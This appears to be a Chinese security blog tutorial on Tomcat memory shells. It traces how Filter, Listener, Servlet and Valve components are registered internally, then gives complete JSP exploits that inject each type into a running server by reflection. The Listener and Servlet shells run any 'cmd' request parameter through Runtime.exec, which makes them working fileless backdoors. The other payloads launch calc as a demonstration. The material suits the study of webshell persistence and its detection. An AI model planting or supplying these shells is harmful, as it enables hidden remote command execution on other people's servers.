少女祈祷中...

Tomcat内存马

前置知识:Tomcat架构

参考:
Java安全学习——内存马 - 枫のBlog
Java内存马系列-04-Tomcat 之 Listener 型内存马 | Drunkbaby’s Blog
https://su18.org/post/memory-shell/

介绍

就是根据Tomcat的三大件servlet、linstener、filter注入内存马,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
调式时候需要导入对应tomcat版本的jar包
依赖

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.31</version>
</dependency>

根据Tomcat启动流程

会在ConfigContext#configureContext方法中从xml配置中读取配置,并注册servlet、listener、filter三大件

Filter型

Filter的使用

package com.yyjccc.memorytrojan.Tomcat;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter()
public class ShellFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("执行了操作");
chain.doFilter(request,response);
}

@Override
public void destroy() {
System.out.println("filter 销毁");
}
}

xml配置模式:

<filter> 
<filter-name>filter</filter-name>
<filter-class>com.yyjccc.memorytrojan.Tomcat.ShellFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>

注解配置:@WebFilter(“/*”)

Filter创建流程分析

逆向走起
在我们的dofilter方法上打上断点

这里观察函数栈帧,现在就根据函数调用栈逐层往上找filter是怎么程创建的
进入上一层ApplicationFilterChain#internalDoFilter方法中

这里也是filter.doFilter(),且这个filter就是我们定义的filter。继续寻找这个filter怎么来的
在这个方法内的前面

filter是从filterConfig中获取,一个filterConfig对应一个Filter,用于存储Filter的上下文信息,而filterConfig是从属性filters – ApplicationFilterConfig数组中获得。
这里还没有看到filter到底来的,继续往上面一层栈帧

它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断。
继续往上走,进入StandardWrapperValve#invoke方法中

这里filiterChain就是ApplicationFilterChain对象,找它怎么来的

ApplicationFilterFactory#createFilterChain创建出filterChain
在这里打上断点重新调试

其中的关键代码

public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

...
// Request dispatcher in use
filterChain = new ApplicationFilterChain();

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

...

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {

...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
...

filterChain.addFilter(filterConfig);
}

...

// Return the completed filter chain
return filterChain;
}

省略了函数中一些不重要的判断,从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程

  1. 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  2. 然后通过wrapper.getParent()函数来获取StandardContext对象
  3. 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  4. 最后根据Filter的名称,在StandardContext中获取FilterConfig
  5. 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中

addFilter():

这里就把获取到filterConfig中放入前面的属性中

其实到这里是从context中拿到一些属性进行操作,将filterConfig放入到FilterChain中
,Filter内存马的思路就是,在放入FilterChain之前我们就通过反射赋值或者增加一些内容,然后tomcat就会自动的调用上面流程的代码,将恶意的filter放入filterChain,再进行调用调用其实如下图:

总之,注入内存马是在上游的操作,而上面分析的流程在下游部分

FilterConfig、FilterDef和FilterMaps

Context-Filter成分分析图:

context首尾相连了
进入addFilter方法

发现,这里以前的filters数组原来会重新创建一个容量更大的数组,并拷贝原有的数组。

  • FilterConfig

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息
上下文对象StandardContext实际上是包含FilterConfig、FilterDef和FilterMaps了这三者的

查看context:

  • filterDef

其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的标签。
同下配置

<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
可以看到,filterDef必要的属性为filter、filterClass以及filterName。
  • filterDefs

filterDefs是一个HashMap,以键值对的形式存储filterDef

  • filterMaps
context中的filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的标签 等同于下面配置
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns

于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。

动态注册Filter

根据成分分析图,其实动态注册的步骤就是对上面属性的赋值

经过上面的分析,我们可以总结出动态添加恶意Filter的思路:

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。
这里获取context与后面Servlet第一种获取方式相同

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意Filter

<%!
public class CmdServlet implements Filter {

@Override
public void init(FilterConfig filterConfig) {
System.out.println("shell");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}
%>

使用FilterDef封装filter
这个过程和后面的注册Servlet十分类似

String name="filterShell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new CmdFilter());
filterDef.setFilterClass(CmdFilter.class.getName());
filterDef.setFilterName(name);
context.addFilterDef(filterDef);

创建filterMap用于filter和路径的绑定

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);

封装filterConfig及filterDef到filterConfigs
使用ApplicationFilterConfig的构造方法,不过需要反射构造

Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
filterConfigs.put(name, filterConfig);

完整exp

<%!
public class CmdFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) {
System.out.println("shell");
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
chain.doFilter(request,response);
}

@Override
public void destroy() {
}
}
%>



<%
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
%>

<%
String name="filtershell";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new CmdFilter());
filterDef.setFilterClass(CmdFilter.class.getName());
filterDef.setFilterName(name);
context.addFilterDef(filterDef);
%>

<%
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/bash");
context.addFilterMap(filterMap);
%>


<%
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
filterConfigs.put(name, filterConfig);
%>

Listener型

Listener用来监听对象创建、销毁、属性增删改,然后执行对应的操作。
在Tomcat中,Listener->Filter->Servlet依次执行。

Listener就是来监听Session、Cookie、Servletd的

根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener

package com.yyjccc.memorytrojan;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;


@WebListener
public class ShellListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("销毁");
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd=request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}

}
}

访问任意路由都可执行命令

Listener创建过程

断点达到requestInitialized()方法内,查看是怎么调用到listener初始化的
进入StandarContext#fireRequestInitEvent中

可以看到linstener怎么获取的
进入getApplicationEventListeners()

直接就是返回属性,查看这个属性有怎么调用


找到addApplicationEventListener方法

注入Listener

  • 获取context

在StandardHostValve#invoke中(就是刚才的函数栈帧往上一层),可以看到其通过request对象来获取StandardContext类

同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
//这里的Request为org.apache.catalina.connector.Request
StandardContext context = (StandardContext) req.getContext();
%>

还有另一种获取方式如下

<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

完整exp

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class CmdListener implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
%>

<%
Field reqField = request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Request req = (Request) reqField.get(request);
StandardContext context = (StandardContext) req.getContext();

%>
<%
CmdListener listener = new CmdListener();
context.addApplicationEventListener(listener);
%>

Servlet型

恶意Servlet

<%!
//jsp定义或者声明需要加上!
public class CmdServlet extends HttpServlet {
@Override
public void init(ServletConfig servletConfig){

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}
%>

注入Servlet

内存马的关键就是如何注入内存马到web容器中,下面介绍如何注入Servlet
ConfigContext#configureContext注册Servlet流程
基本流程,其他Servlet初始化操作忽略

  1. 由上下文context创建wrapper,用来包装servlet
  2. 设置Servlet名称
  3. 设置Servlet全类名

(设置StandardWrapper对象的loadOnStartup属性值)

wrapper.setLoadOnStartup(1);
> **load-on-startup 这个元素的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法). 这个元素中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序. 当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue())** 其中2,3操作对应web.xml中的如下配置
<servlet>
<servlet-name>index</servlet-name>
<servlet-class>com.yyjccc.memorytrojan.HelloServlet</servlet-class>
</servlet>
  1. wrapoer设置servlet
  2. 将wrapper放入context
  3. 添加url路径映射
其中第4步 可以使用wrapper的setServlet方法 第4、6步对应web.xml如下配置
<servlet-mapping>
<servlet-name>index</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>

总体代码jsp实现

<%
//2.注册进入context
//根据ContextConfig#configureContext方法注册servlet
//对应着xml配置文件配置Servlet
//设置名称和类
Wrapper wrapper = context.createWrapper();
wrapper.setName("test");
wrapper.setServletClass(CmdServlet.class.getName());
wrapper.setServlet(new CmdServlet());
//设置映射路径
context.addChild(wrapper);
context.addServletMappingDecoded("/sh","test");
%>

StandarContext

另外一个关键就是如何拿到context对象
走进ConfigContext#configureContext
发现context为StandarContext类型的对象

获取context

  • 从request对象的getServletContext方法中获取

request对象的getServletContext方法获取servlet上下文

ServletContext servletContext = request.getServletContext();
可以看到servletContext的属性context为ApplicationContext对象 属性context的属性context为我们需要的StanddarContext对象 无法直接拿到,那就通过反射获取
Field applicationContextField =  servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//反射获取StandardContext类型的属性context
Field contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext context = (StandardContext) contextField.get(applicationContext);
  • request的request属性的getContext()方法
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    final Request request1 = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) request1.getContext();

完整内存马

<%!
//jsp定义或者声明需要加上!
public class CmdServlet extends HttpServlet {
@Override
public void init(ServletConfig servletConfig){

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
String cmd = servletRequest.getParameter("cmd");
if(cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}
%>

<%
//动态注册
//1.获取StandardContext对象
ServletContext servletContext = request.getServletContext();
System.out.println(servletContext);
//反射获取ApplicationContext类型的属性context
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//反射获取StandardContext类型的属性context
Field contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext context = (StandardContext) contextField.get(applicationContext);
%>

<%
//2.注册进入context
//根据ContextConfig#configureContext方法注册servlet
//对应着xml配置文件配置Servlet
//设置名称和类
Wrapper wrapper = context.createWrapper();
wrapper.setName("test");
wrapper.setServletClass(CmdServlet.class.getName());
wrapper.setServlet(new CmdServlet());
//设置映射路径
context.addChild(wrapper);
context.addServletMappingDecoded("/sh","test");
%>

优缺点

缺点:

  • 这种类型的内存马需要访问具体路径才能够命令执行,日志中比较容易被发现

优点:

  • 兼容性强,兼容tomcat7

Valve型

管道机制

当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
管道机制主要涉及到两个名词,Pipeline(管道)和Valve(阀门)。如果我们把请求比作管道(Pipeline)中流动的水,那么阀门(Valve)就可以用来在管道中实现各种功能,如控制流速等。因此通过管道机制,我们能按照需求,给在不同子容器中流通的请求添加各种不同的业务逻辑,并提前在不同子容器中完成相应的逻辑操作。这里的调用流程可以类比为Filter中的责任链机制

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
我们先来看看Pipeline接口,继承了Contained接口

public interface Pipeline extends Contained {

public Valve getBasic();

public void setBasic(Valve valve);

public void addValve(Valve valve);

public Valve[] getValves();

public void removeValve(Valve valve);

Valve getFirst();

boolean isAsyncSupported();

public void findNonAsyncValves(Set<String> result);
}

Pipeline接口提供了各种对Valve的操作方法,如我们可以通过addValve()方法来添加一个Valve。下面我们再来看看Valve接口

public interface Valve {

public Valve getNext();

public void setNext(Valve valve);

public void backgroundProcess();

public void invoke(Request request, Response response)
throws IOException, ServletException;

public boolean isAsyncSupported();
}

其中getNext()方法可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。

同时Valve可以通过重写invoke()方法来实现具体的业务逻辑
如下面代码

class Shell_Valve extends ValveBase {

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
...
}
}
}

下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在org.apache.catalina.connector.CoyoteAdapter#service方法中

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
Request request = (Request) req.getNote(ADAPTER_NOTES);
Response response = (Response) res.getNote(ADAPTER_NOTES);

if (request == null) {
// Create objects
request = connector.createRequest();
request.setCoyoteRequest(req);
response = connector.createResponse();
response.setCoyoteResponse(res);

// Link objects
request.setResponse(response);
response.setRequest(request);

// Set as notes
req.setNote(ADAPTER_NOTES, request);
res.setNote(ADAPTER_NOTES, response);

// Set query string encoding
req.getParameters().setQueryStringCharset(connector.getURICharset());
}
...

try {
...
connector.getService().getContainer().getPipeline().getFirst().invoke( request, response);
}
...
}
前面是对Request和Respone对象进行一些判断及创建操作,在这里打断点进行调式
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
首先通过connector.getService()来获取一个StandardService对象 接着通过StandardService.getContainer().getPipeline()获取StandardPipeline对象 再通过StandardPipeline.getFirst()获取第一个Valve 最后通过调用StandardEngineValve.invoke()来实现Valve的各种业务逻辑 进入StandardEngineValve#invoke方法 host.getPipeline().getFirst().invoke(request, response)实现调用后续的Valve。

动态添加Valve

上面过程就像逐个Valve出栈,每次getFirst()获取Valve后,然后再invoke()
那么Valve就是注入一个恶意的Valve,我们知道一个网站对应一个Context
就对应着StandarContext类中,其也管理了Valve;·
直接寻找有无存储valve的属性,也就是实现了Pipeline接口的类

找到属性pipeline

这个属性在类中没有定义,说明是父类的。进入ContainerBase

找到方法addValve

根据上文的分析我们能够总结出Valve型内存马的注入思路

  1. 获取StandardContext对象
  2. 通过StandardContext对象获取StandardPipeline,即pipeline属性
  3. 编写恶意Valve
  4. 通过StandardPipeline.addValve()动态添加Valve

获取StandardContext对象

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

注入Valve

  • 实现接口

    Pipeline pipeline = context.getPipeline();
    pipeline.addValve(new Valve() {
    @Override
    public Valve getNext() {
    return null;
    }

    @Override
    public void setNext(Valve valve) {

    }

    @Override
    public void backgroundProcess() {

    }

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
    Runtime.getRuntime().exec("calc");
    }

    @Override
    public boolean isAsyncSupported() {
    return false;
    }
    });
  • 继承ValveBase重写invoke

    Pipeline pipeline = context.getPipeline();
    pipeline.addValve(new ValveBase() {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
    Runtime.getRuntime().exec("calc");
    }
    });

完整exp


<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
<%
Pipeline pipeline = context.getPipeline();
pipeline.addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}
});
%>
</body>
</html>